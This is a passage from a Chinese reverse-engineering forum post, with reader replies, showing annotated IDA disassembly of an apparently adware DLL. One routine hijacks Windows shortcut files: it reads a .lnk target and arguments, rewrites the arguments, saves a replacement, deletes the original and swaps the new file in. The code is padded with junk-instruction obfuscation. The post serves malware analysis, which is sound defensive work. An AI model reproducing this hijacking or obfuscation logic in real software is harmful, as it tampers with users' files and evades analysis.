.text:10007DD3 114                 lea     eax, [ebp+Dest]
.text:10007DD9 114                 push    eax
.text:10007DDA 118                 push    80000002h
.text:10007DDF 11C                 call    near ptr sub_100037DA
.text:10007DE4 11C                 pop     ecx
.text:10007DE5 118                 pop     ecx
.text:10007DE6 114                 js      loc_10007DFB
.text:10007DEC 114                 xchg    cx, cx
.text:10007DEF 114                 mov     edi, edi
.text:10007DF1 114                 mov     edx, edx
.text:10007DF3 114                 jns     loc_10007DFB
.text:10007DF3     ; ---------------------------------------------------------------------------
.text:10007DF9 114 unk_10007DF9    db  15h
.text:10007DFA 114                 db  2Fh ; /
.text:10007DFB     ; ---------------------------------------------------------------------------
.text:10007DFB
.text:10007DFB     loc_10007DFB:                           ; CODE XREF: DllRegisterServer+F3j
.text:10007DFB                                             ; DllRegisterServer+100j
.text:10007DFB 114                 call    sub_10003630
.text:10007E00 114                 pusha
.text:10007E01
.text:10007E01     loc_10007E01:                           ; CODE XREF: DllRegisterServer+15Cj
.text:10007E01 134                 test    si, 3660h
.text:10007E06 134                 add     si, 20C2h
.text:10007E0B 134                 test    edi, eax
.text:10007E0D 134                 popa
.text:10007E0E 114                 call    near ptr sub_100016C5
.text:10007E13 114                 push    eax
.text:10007E14 118                 push    edi
.text:10007E15 11C                 push    esi
.text:10007E16 120                 inc     si
.text:10007E18 120                 cmp     edi, eax
.text:10007E1A 120                 pop     esi
.text:10007E1B 11C                 pop     edi
.text:10007E1C 118                 pop     eax
.text:10007E1D 114                 call    sub_10003D9B
.text:10007E22 114                 jz      short loc_10007E2B
.text:10007E24 114                 mov     ch, ch
.text:10007E26 114                 xchg    esi, esi
.text:10007E28 114                 jnz     short loc_10007E2B
.text:10007E2A 114                 inc     esp
.text:10007E2B
.text:10007E2B     loc_10007E2B:                           ; CODE XREF: DllRegisterServer+12Fj
.text:10007E2B                                             ; DllRegisterServer+135j
.text:10007E2B 114                 call    sub_100039DB
.text:10007E30 114                 jb      loc_10007E55
.text:10007E36 114                 push    di
.text:10007E38 116                 mov     di, 4FFFh
.text:10007E3C 116                 pop     di
.text:10007E3E 114                 jnb     loc_10007E55
.text:10007E44 114                 fdiv    dword ptr [esi+6Fh]
.text:10007E47 114                 cmp     esp, [eax]
.text:10007E49 114                 inc     eax
.text:10007E4A 114                 push    0B7F8C08Bh
.text:10007E4F 118                 ja      short near ptr loc_10007E01+1
.text:10007E51 118                 inc     ecx
.text:10007E51     ; ---------------------------------------------------------------------------
.text:10007E52 118 unk_10007E52    db 0C4h ; ?
.text:10007E53     ; ---------------------------------------------------------------------------
.text:10007E53 118                 aad     45h
.text:10007E55
.text:10007E55     loc_10007E55:                           ; CODE XREF: DllRegisterServer+13Dj
.text:10007E55                                             ; DllRegisterServer+14Bj
.text:10007E55 118                 call    sub_10003C0B
.text:10007E5A 118                 jz      short loc_10007E66
.text:10007E5C 118                 push    ecx
.text:10007E5D 11C                 mov     cx, 0EC17h
.text:10007E61 11C                 pop     ecx
.text:10007E62 118                 jnz     short loc_10007E66
.text:10007E64 118                 pushf
.text:10007E65 11C                 popf
.text:10007E66
.text:10007E66     loc_10007E66:                           ; CODE XREF: DllRegisterServer+167j
.text:10007E66                                             ; DllRegisterServer+16Fj
.text:10007E66 118                 call    sub_1000699A
.text:10007E6B 118                 pop     edi
.text:10007E6C 114                 pop     esi
.text:10007E6D 110                 pop     ebx
.text:10007E6E 10C                 leave
.text:10007E6F 004                 retn

我们再来看一下sub_100005EF1()偷天换日:
.text:10005EF1     sub_10005EF1    proc far                ; CODE XREF: sub_1000268F+1EAp
.text:10005EF1
.text:10005EF1     var_974         = word ptr -974h
.text:10005EF1     var_972         = byte ptr -972h
.text:10005EF1     pszFileName     = word ptr -76Ch
.text:10005EF1     var_76A         = byte ptr -76Ah
.text:10005EF1     pfd             = WIN32_FIND_DATAA ptr -564h
.text:10005EF1     pClassID        = byte ptr -424h
.text:10005EF1     var_423         = byte ptr -423h
.text:10005EF1     pszPath         = byte ptr -320h
.text:10005EF1     var_31F         = byte ptr -31Fh
.text:10005EF1     MultiByteStr    = byte ptr -21Ch
.text:10005EF1     var_21B         = byte ptr -21Bh
.text:10005EF1     pszArgs         = byte ptr -118h
.text:10005EF1     var_117         = byte ptr -117h
.text:10005EF1     var_14          = dword ptr -14h
.text:10005EF1     var_10          = dword ptr -10h
.text:10005EF1     var_C           = dword ptr -0Ch
.text:10005EF1     ppvObj          = dword ptr -8
.text:10005EF1     ppv             = dword ptr -4
.text:10005EF1
.text:10005EF1 000                 push    ebp
.text:10005EF2 004                 mov     ebp, esp
.text:10005EF4 004                 sub     esp, 974h
.text:10005EFA 978                 push    ebx
.text:10005EFB 97C                 push    esi
.text:10005EFC 980                 push    edi
.text:10005EFD 984                 xor     ebx, ebx
.text:10005EFF 984                 mov     ecx, 81h
.text:10005F04 984                 xor     eax, eax
.text:10005F06 984                 lea     edi, [ebp+var_76A]
.text:10005F0C 984                 mov     [ebp+pszFileName], bx
.text:10005F13 984                 rep stosd
.text:10005F15 984                 stosw
.text:10005F17 984                 push    40h
.text:10005F19 988                 xor     eax, eax
.text:10005F1B 988                 pop     ecx
.text:10005F1C 984                 lea     edi, [ebp+var_423]
.text:10005F22 984                 mov     [ebp+pClassID], bl
.text:10005F28 984                 push    ebx             ; pvReserved
.text:10005F29 988                 rep stosd
.text:10005F2B 988                 stosw
.text:10005F2D 988                 mov     [ebp+var_14], ebx
.text:10005F30 988                 mov     [ebp+ppv], ebx
.text:10005F33 988                 mov     [ebp+ppvObj], ebx
.text:10005F36 988                 stosb
.text:10005F37 988                 call    ds:CoInitialize
.text:10005F3D 984                 jp      short loc_10005F47
.text:10005F3F 984                 push    cx
.text:10005F41 986                 mov     cl, 21h
.text:10005F43 986                 pop     cx
.text:10005F45 984                 jnp     short $+2
.text:10005F47
.text:10005F47     loc_10005F47:                           ; CODE XREF: sub_10005EF1+4Cj
.text:10005F47 984                 lea     eax, [ebp+ppv]
.text:10005F4A 984                 push    eax             ; ppv
.text:10005F4B 988                 push    offset CLSID_IShellLinkA ; riid
.text:10005F50 98C                 push    1               ; dwClsContext
.text:10005F52 990                 push    ebx             ; pUnkOuter
.text:10005F53 994                 push    offset stru_100092E4 ; rclsid
.text:10005F58 998                 call    ds:CoCreateInstance
.text:10005F5E 984                 test    eax, eax
.text:10005F60 984                 jl      loc_100062EC
.text:10005F66 984                 pusha
.text:10005F67 9A4                 test    bx, 0A43h
.text:10005F6C 9A4                 cmp     ch, 6Eh
.text:10005F6F 9A4                 sub     ch, bl
.text:10005F71 9A4                 cmp     dx, 7A98h
.text:10005F76 9A4                 sub     ecx, edx
.text:10005F78 9A4                 popa
.text:10005F79 984                 mov     eax, [ebp+ppv]
.text:10005F7C 984                 lea     edx, [ebp+ppvObj]
.text:10005F7F 984                 push    edx             ; ppvObject
.text:10005F80 988                 push    offset CLSID_IPersistFile ; riid
.text:10005F85 98C                 mov     ecx, [eax]
.text:10005F87 98C                 push    eax             ; This
.text:10005F88 990                 call    [ecx+IDispatchVtbl.QueryInterface]
.text:10005F8A 990                 test    eax, eax
.text:10005F8C 990                 jl      loc_100062EA
.text:10005F92 990                 push    eax
.text:10005F93 994                 push    ecx
.text:10005F94 998                 inc     al
.text:10005F96 998                 sub     ah, cl
.text:10005F98 998                 dec     eax
.text:10005F99 998                 cmp     cl, cl
.text:10005F9B 998                 cmp     ch, dh
.text:10005F9D 998                 test    ch, 0
.text:10005FA0 998                 or      cx, bx
.text:10005FA3 998                 test    ah, 35h
.text:10005FA6 998                 test    ax, 637Bh
.text:10005FAA 998                 pop     ecx
.text:10005FAB 994                 pop     eax
.text:10005FAC 990                 mov     ebx, 104h
.text:10005FB1 990                 lea     eax, [ebp+pszFileName]
.text:10005FB7 990                 push    ebx             ; cchWideChar
.text:10005FB8 994                 push    eax             ; lpWideCharStr
.text:10005FB9 998                 push    0FFFFFFFFh      ; cbMultiByte
.text:10005FBB 99C                 push    dword ptr [ebp+8] ; lpMultiByteStr
.text:10005FBE 9A0                 push    0               ; dwFlags
.text:10005FC0 9A4                 push    0               ; CodePage
.text:10005FC2 9A8                 call    ds:MultiByteToWideChar
.text:10005FC8 990                 test    eax, eax
.text:10005FCA 990                 jz      loc_100062EA
.text:10005FD0 990                 push    eax
.text:10005FD1 994                 push    edi
.text:10005FD2 998                 push    esi
.text:10005FD3 99C                 inc     si
.text:10005FD5 99C                 cmp     edi, eax
.text:10005FD7 99C                 pop     esi
.text:10005FD8 998                 pop     edi
.text:10005FD9 994                 pop     eax
.text:10005FDA 990                 mov     eax, [ebp+ppvObj]
.text:10005FDD 990                 lea     edx, [ebp+pszFileName]
.text:10005FE3 990                 push    0               ; dwMode
.text:10005FE5 994                 push    edx             ; pszFileName
.text:10005FE6 998                 mov     ecx, [eax]
.text:10005FE8 998                 push    eax             ; This
.text:10005FE9 99C                 call    [ecx+IPersistFileVtbl.Load]
.text:10005FEC 99C                 test    eax, eax
.text:10005FEE 99C                 jl      loc_100062EA
.text:10005FF4 99C                 push    eax
.text:10005FF5 9A0                 push    edx
.text:10005FF6 9A4                 push    esi
.text:10005FF7 9A8                 test    si, 2AF8h
.text:10005FFC 9A8                 xor     edx, ecx
.text:10005FFE 9A8                 add     ax, bx
.text:10006001 9A8                 or      ax, 11A9h
.text:10006005 9A8                 pop     esi
.text:10006006 9A4                 pop     edx
.text:10006007 9A0                 pop     eax
.text:10006008 99C                 mov     eax, [ebp+ppv]
.text:1000600B 99C                 lea     edx, [ebp+pfd]
.text:10006011 99C                 push    4               ; fFlags
.text:10006013 9A0                 push    edx             ; pfd
.text:10006014 9A4                 mov     ecx, [eax]
.text:10006016 9A4                 lea     edx, [ebp+pClassID]
.text:1000601C 9A4                 push    ebx             ; cchMaxPath
.text:1000601D 9A8                 push    edx             ; pszFile
.text:1000601E 9AC                 push    eax             ; This
.text:1000601F 9B0                 call    [ecx+IShellLinkAVtbl.GetPath]
.text:10006022 9B0                 test    eax, eax
.text:10006024 9B0                 jl      loc_100062EA
.text:1000602A 9B0                 push    ebx
.text:1000602B 9B4                 push    ax
.text:1000602D 9B6                 xor     al, bl
.text:1000602F 9B6                 add     ah, 25h
.text:10006032 9B6                 cmp     ax, dx
.text:10006035 9B6                 sub     ax, dx
.text:10006038 9B6                 or      ebx, 62F5h
.text:1000603E 9B6                 cmp     ebx, edi
.text:10006040 9B6                 or      ax, bx
.text:10006043 9B6                 test    bl, 1
.text:10006046 9B6                 pop     ax
.text:10006048 9B4                 pop     ebx
.text:10006049 9B0                 lea     eax, [ebp+pfd.cFileName]
.text:1000604F 9B0                 push    eax             ; Str
.text:10006050 9B4                 call    strlen
.text:10006055 9B4                 test    eax, eax
.text:10006057 9B4                 pop     ecx
.text:10006058 9B0                 jz      loc_100062EA
.text:1000605E 9B0                 jle     short loc_1000606C
.text:10006060 9B0                 mov     si, si
.text:10006063 9B0                 mov     si, si
.text:10006066 9B0                 jg      short loc_1000606C
.text:10006066     ; ---------------------------------------------------------------------------
.text:10006068 9B0 unk_10006068    db 0DCh ; ?
.text:10006069 9B0                 db 0A5h ; ?
.text:1000606A 9B0                 db 0C9h ; ?
.text:1000606B 9B0                 db  92h ; ?
.text:1000606C     ; ---------------------------------------------------------------------------
.text:1000606C
.text:1000606C     loc_1000606C:                           ; CODE XREF: sub_10005EF1+16Dj
.text:1000606C                                             ; sub_10005EF1+175j
.text:1000606C 9B0                 lea     eax, [ebp+pfd.cFileName]
.text:10006072 9B0                 push    eax             ; Str1
.text:10006073 9B4                 call    sub_10004FCD
.text:10006078 9B4                 cmp     eax, 0FFFFFFFFh
.text:1000607B 9B4                 pop     ecx
.text:1000607C 9B0                 mov     [ebp+var_C], eax
.text:1000607F 9B0                 jz      loc_100062EA
.text:10006085 9B0                 jle     loc_10006097
.text:1000608B 9B0                 jg      loc_10006097
.text:10006091 9B0                 inc     ebx
.text:10006091     ; ---------------------------------------------------------------------------
.text:10006092 9B0 unk_10006092    db  30h ; 0
.text:10006093 9B0                 db  88h ; ?
.text:10006094 9B0                 db  56h ; V
.text:10006095 9B0                 db 0DAh ; ?
.text:10006096 9B0                 db  39h ; 9
.text:10006097     ; ---------------------------------------------------------------------------
.text:10006097
.text:10006097     loc_10006097:                           ; CODE XREF: sub_10005EF1+194j
.text:10006097                                             ; sub_10005EF1+19Aj
.text:10006097 9B0                 and     [ebp+pszArgs], 0
.text:1000609E 9B0                 push    40h
.text:100060A0 9B4                 pop     ecx
.text:100060A1 9B0                 xor     eax, eax
.text:100060A3 9B0                 lea     edi, [ebp+var_117]
.text:100060A9 9B0                 lea     edx, [ebp+pszArgs]
.text:100060AF 9B0                 rep stosd
.text:100060B1 9B0                 stosw
.text:100060B3 9B0                 stosb
.text:100060B4 9B0                 mov     eax, [ebp+ppv]
.text:100060B7 9B0                 push    104h            ; cchMaxPath
.text:100060BC 9B4                 push    edx             ; pszArgs
.text:100060BD 9B8                 push    eax             ; This
.text:100060BE 9BC                 mov     ecx, [eax]
.text:100060C0 9BC                 call    [ecx+IShellLinkAVtbl.GetArguments]
.text:100060C3 9BC                 test    eax, eax
.text:100060C5 9BC                 jl      short loc_10006118
.text:100060C7 9BC                 push    eax
.text:100060C8 9C0                 push    edx
.text:100060C9 9C4                 push    esi
.text:100060CA 9C8                 test    si, 2AF8h
.text:100060CF 9C8                 xor     edx, ecx
.text:100060D1 9C8                 add     ax, bx
.text:100060D4 9C8                 or      ax, 11A9h
.text:100060D8 9C8                 pop     esi
.text:100060D9 9C4                 pop     edx
.text:100060DA 9C0                 pop     eax
.text:100060DB 9BC                 lea     eax, [ebp+pszArgs]
.text:100060E1 9BC                 push    eax
.text:100060E2 9C0                 call    sub_10005D9D
.text:100060E7 9C0                 cmp     eax, 0FFFFFFFFh
.text:100060EA 9C0                 pop     ecx
.text:100060EB 9BC                 jnz     loc_100062EA
.text:100060F1 9BC                 jle     short loc_100060FD
.text:100060F3 9BC                 push    si
.text:100060F5 9BE                 mov     si, 0F280h
.text:100060F9 9BE                 pop     si
.text:100060FB 9BC                 jg      short $+2
.text:100060FD
.text:100060FD     loc_100060FD:                           ; CODE XREF: sub_10005EF1+200j
.text:100060FD 9BC                 cmp     [ebp+var_C], 0
.text:10006101 9BC                 jnz     short loc_10006118
.text:10006103 9BC                 lea     eax, [ebp+pszArgs]
.text:10006109 9BC                 push    eax             ; Str
.text:1000610A 9C0                 call    strlen
.text:1000610F 9C0                 test    eax, eax
.text:10006111 9C0                 pop     ecx
.text:10006112 9BC                 jz      loc_100062EA
.text:10006118
.text:10006118     loc_10006118:                           ; CODE XREF: sub_10005EF1+1D4j
.text:10006118                                             ; sub_10005EF1+210j
.text:10006118 9BC                 pusha
.text:10006119 9DC                 sub     dl, 33h
.text:1000611C 9DC                 and     dh, 12h
.text:1000611F 9DC                 popa
.text:10006120 9BC                 push    40h
.text:10006122 9C0                 xor     edx, edx
.text:10006124 9C0                 pop     ecx
.text:10006125 9BC                 xor     eax, eax
.text:10006127 9BC                 lea     edi, [ebp+var_31F]
.text:1000612D 9BC                 mov     [ebp+pszPath], dl
.text:10006133 9BC                 rep stosd
.text:10006135 9BC                 stosw
.text:10006137 9BC                 stosb
.text:10006138 9BC                 push    40h
.text:1000613A 9C0                 xor     eax, eax
.text:1000613C 9C0                 pop     ecx
.text:1000613D 9BC                 lea     edi, [ebp+var_21B]
.text:10006143 9BC                 mov     [ebp+MultiByteStr], dl
.text:10006149 9BC                 mov     [ebp+var_974], dx
.text:10006150 9BC                 rep stosd
.text:10006152 9BC                 stosw
.text:10006154 9BC                 stosb
.text:10006155 9BC                 mov     ecx, 81h
.text:1000615A 9BC                 xor     eax, eax
.text:1000615C 9BC                 lea     edi, [ebp+var_972]
.text:10006162 9BC                 push    1               ; fCreate
.text:10006164 9C0                 rep stosd
.text:10006166 9C0                 stosw
.text:10006168 9C0                 lea     eax, [ebp+pszPath]
.text:1000616E 9C0                 push    2Dh             ; csidl
.text:10006170 9C4                 push    eax             ; pszPath
.text:10006171 9C8                 push    edx             ; hwnd
.text:10006172 9CC                 call    ds:SHGetSpecialFolderPathA
.text:10006178 9BC                 test    eax, eax
.text:1000617A 9BC                 jz      loc_100062EA
.text:10006180 9BC                 jp      short loc_1000619C
.text:10006182 9BC                 mov     ebx, ebx
.text:10006184 9BC                 mov     esi, esi
.text:10006186 9BC                 xchg    bx, bx
.text:10006189 9BC                 jnp     short loc_1000619C
.text:1000618B 9BC                 psrlw   mm1, qword ptr [edx+13h]
.text:1000618B     ; ---------------------------------------------------------------------------
.text:1000618F 9BC unk_1000618F    db 0C8h ; ?
.text:10006190 9BC                 db  6Dh ; m
.text:10006191 9BC                 db  62h ; b
.text:10006192     ; ---------------------------------------------------------------------------
.text:10006192 9BC                 aas
.text:10006193 9BC                 daa
.text:10006194 9BC                 in      eax, 78h
.text:10006196 9BC                 retf
.text:10006196     ; ---------------------------------------------------------------------------
.text:10006197 9BC                 db 5Bh
.text:10006198 9BC                 dd 94823802h
.text:1000619C     ; ---------------------------------------------------------------------------
.text:1000619C
.text:1000619C     loc_1000619C:                           ; CODE XREF: sub_10005EF1+28Fj
.text:1000619C                                             ; sub_10005EF1+298j
.text:1000619C 9BC                 lea     eax, [ebp+pfd.cFileName]
.text:100061A2 9BC                 push    eax
.text:100061A3 9C0                 lea     eax, [ebp+pszPath]
.text:100061A9 9C0                 push    eax
.text:100061AA 9C4                 lea     eax, [ebp+MultiByteStr]
.text:100061B0 9C4                 push    offset a2dcsc_0 ; "2刢樼"
.text:100061B5 9C8                 push    eax             ; Dest
.text:100061B6 9CC                 call    ds:sprintf
.text:100061BC 9CC                 add     esp, 10h
.text:100061BF 9BC                 push    ecx
.text:100061C0 9C0                 push    edx
.text:100061C1 9C4                 and     cx, si
.text:100061C4 9C4                 cmp     dx, si
.text:100061C7 9C4                 xor     dl, bh
.text:100061C9 9C4                 or      dl, 67h
.text:100061CC 9C4                 pop     edx
.text:100061CD 9C0                 pop     ecx
.text:100061CE 9BC                 lea     eax, [ebp+var_974]
.text:100061D4 9BC                 push    104h            ; cchWideChar
.text:100061D9 9C0                 push    eax             ; lpWideCharStr
.text:100061DA 9C4                 lea     eax, [ebp+MultiByteStr]
.text:100061E0 9C4                 push    0FFFFFFFFh      ; cbMultiByte
.text:100061E2 9C8                 push    eax             ; lpMultiByteStr
.text:100061E3 9CC                 push    0               ; dwFlags
.text:100061E5 9D0                 push    0               ; CodePage
.text:100061E7 9D4                 call    ds:MultiByteToWideChar
.text:100061ED 9BC                 test    eax, eax
.text:100061EF 9BC                 jz      loc_100062EA
.text:100061F5 9BC                 jl      loc_1000620A
.text:100061FB 9BC                 push    cx
.text:100061FD 9BE                 mov     ch, 0CCh
.text:100061FF 9BE                 pop     cx
.text:10006201 9BC                 jge     loc_1000620A
.text:10006207 9BC                 xchg    eax, esi
.text:10006207     ; ---------------------------------------------------------------------------
.text:10006208 9BC unk_10006208    db  33h ; 3
.text:10006209 9BC                 db  63h ; c
.text:1000620A     ; ---------------------------------------------------------------------------
.text:1000620A
.text:1000620A     loc_1000620A:                           ; CODE XREF: sub_10005EF1+304j
.text:1000620A                                             ; sub_10005EF1+310j
.text:1000620A 9BC                 and     [ebp+var_10], 0
.text:1000620E 9BC                 cmp     [ebp+var_C], 0
.text:10006212 9BC                 jz      short loc_1000621B
.text:10006214 9BC                 mov     [ebp+var_10], offset unk_1000A518
.text:1000621B
.text:1000621B     loc_1000621B:                           ; CODE XREF: sub_10005EF1+321j
.text:1000621B 9BC                 pushaw
.text:1000621D 9CC                 push    ecx
.text:1000621E 9D0                 test    bl, ah
.text:10006220 9D0                 or      ch, 47h
.text:10006223 9D0                 pop     ecx
.text:10006224 9CC                 popaw
.text:10006226 9BC                 mov     eax, [ebp+ppv]
.text:10006229 9BC                 push    [ebp+var_10]    ; pszArgs
.text:1000622C 9C0                 mov     ecx, [eax]
.text:1000622E 9C0                 push    eax             ; This
.text:1000622F 9C4                 call    [ecx+IShellLinkAVtbl.SetArguments]
.text:10006232 9C4                 test    eax, eax
.text:10006234 9C4                 jl      loc_100062EA
.text:1000623A 9C4                 push    ebx
.text:1000623B 9C8                 test    bl, 4Dh
.text:1000623E 9C8                 pop     ebx
.text:1000623F 9C4                 mov     eax, [ebp+ppvObj]
.text:10006242 9C4                 push    1
.text:10006244 9C8                 pop     esi
.text:10006245 9C4                 lea     edx, [ebp+var_974]
.text:1000624B 9C4                 mov     ecx, [eax]
.text:1000624D 9C4                 push    esi
.text:1000624E 9C8                 push    edx
.text:1000624F 9CC                 push    eax
.text:10006250 9D0                 call    dword ptr [ecx+18h]
.text:10006253 9D0                 test    eax, eax
.text:10006255 9D0                 jl      loc_100062EA
.text:1000625B 9D0                 jz      loc_10006279
.text:10006261 9D0                 push    edi
.text:10006262 9D4                 mov     di, 9CE2h
.text:10006266 9D4                 pop     edi
.text:10006267 9D0                 jnz     loc_10006279
.text:1000626D 9D0                 insd
.text:1000626E 9D0                 dec     esp
.text:1000626F 9D0                 jl      short locret_100062E3
.text:10006271 9D0                 xor     eax, 0DEE0ED6Dh
.text:10006276 9D0                 aad     0CFh
.text:10006276     ; ---------------------------------------------------------------------------
.text:10006278 9D0 unk_10006278    db  30h ; 0
.text:10006279     ; ---------------------------------------------------------------------------
.text:10006279
.text:10006279     loc_10006279:                           ; CODE XREF: sub_10005EF1+36Aj
.text:10006279                                             ; sub_10005EF1+376j
.text:10006279 9D0                 push    80h             ; dwFileAttributes
.text:1000627E 9D4                 push    dword ptr [ebp+8] ; lpFileName
.text:10006281 9D8                 call    ds:SetFileAttributesA
.text:10006287 9D0                 jp      short loc_100062A3
.text:10006289 9D0                 mov     ebx, ebx
.text:1000628B 9D0                 mov     esi, esi
.text:1000628D 9D0                 xchg    bx, bx
.text:10006290 9D0                 jnp     short loc_100062A3
.text:10006290     ; ---------------------------------------------------------------------------
.text:10006292 9D0 unk_10006292    db  0Fh
.text:10006293 9D0                 db 0D1h ; ?
.text:10006294 9D0                 db  4Ah ; J
.text:10006295 9D0                 db  13h
.text:10006296 9D0                 db 0C8h ; ?
.text:10006297 9D0                 db  6Dh ; m
.text:10006298 9D0                 db  62h ; b
.text:10006299 9D0                 db  3Fh ; ?
.text:1000629A     ; ---------------------------------------------------------------------------
.text:1000629A 9D0                 daa
.text:1000629B 9D0                 in      eax, 78h
.text:1000629D 9D0                 retf
.text:1000629D     ; ---------------------------------------------------------------------------
.text:1000629E 9D0                 db  5Bh ; [
.text:1000629F 9D0                 db    2
.text:100062A0 9D0                 db  38h ; 8
.text:100062A1 9D0                 db  82h ; ?
.text:100062A2 9D0                 db  94h ; ?
.text:100062A3     ; ---------------------------------------------------------------------------
.text:100062A3
.text:100062A3     loc_100062A3:                           ; CODE XREF: sub_10005EF1+396j
.text:100062A3                                             ; sub_10005EF1+39Fj
.text:100062A3 9D0                 push    dword ptr [ebp+8] ; lpFileName
.text:100062A6 9D4                 call    ds:DeleteFileA
.text:100062AC 9D0                 push    di
.text:100062AE 9D2                 push    eax
.text:100062AF 9D6                 push    ecx
.text:100062B0 9DA                 test    dl, cl
.text:100062B2 9DA                 and     di, 377h
.text:100062B7 9DA                 cmp     ecx, 5354h
.text:100062BD 9DA                 pop     ecx
.text:100062BE 9D6                 pop     eax
.text:100062BF 9D2                 pop     di
.text:100062C1 9D0                 push    dword ptr [ebp+8] ; lpNewFileName
.text:100062C4 9D4                 lea     eax, [ebp+MultiByteStr]
.text:100062CA 9D4                 push    eax             ; lpExistingFileName
.text:100062CB 9D8                 call    ds:MoveFileA
.text:100062D1 9D0                 test    eax, eax
.text:100062D3 9D0                 jz      short loc_100062EA
.text:100062D5 9D0                 push    eax
.text:100062D6 9D4                 push    ebx
.text:100062D7 9D8                 push    ecx
.text:100062D8 9DC                 mov     cl, 6Dh
.text:100062DA 9DC                 inc     ebx
.text:100062DB 9DC                 pop     ecx
.text:100062DC 9D8                 pop     ebx
.text:100062DD 9D4                 pop     eax
.text:100062DD     ; ---------------------------------------------------------------------------
.text:100062DE 9D0 unk_100062DE    db 0FFh
.text:100062DF 9D0                 db  75h ; u
.text:100062E0     ; ---------------------------------------------------------------------------
.text:100062E0 9D0                 or      al, ch
.text:100062E2 9D0                 xchg    eax, ecx
.text:100062E3
.text:100062E3     locret_100062E3:                        ; CODE XREF: sub_10005EF1+37Ej
.text:100062E3 9D0                 retf    0FFFFh
.text:100062E6     ; ---------------------------------------------------------------------------
.text:100062E6 9D0                 pop     ecx
.text:100062E7 9CC                 mov     [ebp+var_14], esi
.text:100062EA
.text:100062EA     loc_100062EA:                           ; CODE XREF: sub_10005EF1+9Bj
.text:100062EA                                             ; sub_10005EF1+D9j ...
.text:100062EA 9CC                 xor     ebx, ebx
.text:100062EC
.text:100062EC     loc_100062EC:                           ; CODE XREF: sub_10005EF1+6Fj
.text:100062EC 9CC                 mov     eax, [ebp+ppvObj]
.text:100062EF 9CC                 cmp     eax, ebx
.text:100062F1 9CC                 jz      short loc_100062F9
.text:100062F3 9CC                 mov     ecx, [eax]
.text:100062F5 9CC                 push    eax
.text:100062F6 9D0                 call    dword ptr [ecx+8]
.text:100062F9
.text:100062F9     loc_100062F9:                           ; CODE XREF: sub_10005EF1+400j
.text:100062F9 9D0                 mov     eax, [ebp+ppv]
.text:100062FC 9D0                 cmp     eax, ebx
.text:100062FE 9D0                 jz      short loc_10006306
.text:10006300 9D0                 mov     ecx, [eax]
.text:10006302 9D0                 push    eax             ; This
.text:10006303 9D4                 call    [ecx+IShellLinkAVtbl.Release]
.text:10006306
.text:10006306     loc_10006306:                           ; CODE XREF: sub_10005EF1+40Dj
.text:10006306 9D4                 mov     eax, [ebp+var_14]
.text:10006309 9D4                 pop     edi
.text:1000630A 9D0                 pop     esi
.text:1000630B 9CC                 pop     ebx
.text:1000630C 9C8                 leave
.text:1000630D 050                 retn

OK就到这里,IDB就不放了,样本请从上篇中获取!在此小弟特别感谢以前带我的老大也是学长,
另外也感谢现公司几个高手,其它网络中N多高手对小弟的帮助!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (6)
雪    币: 332
活跃值: (1663)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
sungy 1 2012-2-29 01:45
2
0
调试驱动啊,功能深厚。学习
雪    币: 220
活跃值: (626)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 2012-2-29 10:13
3
0
现在广告插件都如此牛B了,感到压力重大
雪    币: 29
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
webwizard 2012-3-2 05:47
4
0
长见识了。LZ V5
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
alargel 2012-4-1 15:25
5
0
大牛,大牛,大牛....
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
海恩 2012-4-1 15:54
6
0
收藏,慢慢研究。
雪    币: 314
活跃值: (128)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
心如止境 2 2012-4-23 19:48
7
0
太长了,楼主好厉害,膜拜!
游客
登录 | 注册 方可回帖
返回